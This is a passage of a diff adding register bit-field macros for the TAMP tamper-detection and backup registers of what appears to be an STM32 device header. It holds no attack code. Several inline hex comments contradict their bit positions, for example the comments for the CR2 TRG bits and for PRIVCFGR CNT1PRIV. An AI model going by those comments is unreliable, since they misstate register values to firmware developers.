(0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define 